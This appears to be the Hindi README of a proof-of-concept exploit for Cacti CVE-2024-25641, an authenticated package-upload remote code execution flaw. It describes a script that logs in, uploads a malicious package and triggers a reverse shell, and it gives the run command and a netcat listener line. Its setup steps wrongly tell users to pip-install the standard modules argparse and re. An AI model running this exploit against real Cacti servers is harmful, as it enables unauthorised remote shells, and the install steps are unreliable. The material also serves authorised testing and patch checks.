Cacti CVE-2024-25641 प्रमाणित पैकेज अपलोड RCE प्रूफ ऑफ कॉन्सेप्ट (PoC)

यह स्क्रिप्ट Cacti (एक वेब-आधारित मॉनिटरिंग टूल) में CVE-2024-25641 भेद्यता का शोषण करने के लिए एक प्रूफ ऑफ कॉन्सेप्ट (PoC) है। स्क्रिप्ट एप्लिकेशन के साथ प्रमाणीकरण, एक दुर्भावनापूर्ण पैकेज अपलोड करने, और रिवर्स शेल ट्रिगर करने की प्रक्रिया को स्वचालित करती है।

आवश्यकताएँ

• Python 3.x
• requests लाइब्रेरी
• argparse लाइब्रेरी
• re लाइब्रेरी

आप निम्नलिखित कमांड का उपयोग करके आवश्यक Python लाइब्रेरी को pip3 से स्थापित कर सकते हैं:

pip3 install requests
pip3 install argparse
pip3 install re

उपयोग

(सुनिश्चित करें कि test.xml.gz को exploit.py के समान निर्देशिका में रखा गया है)

python3 exploit.py --url <TARGET_URL> -u <USERNAME> -p <PASSWORD> -i <LOCAL_IP> -l <PORT> [--proxy]

nc लिसनर प्रारंभ करें

nc -nvlp <port>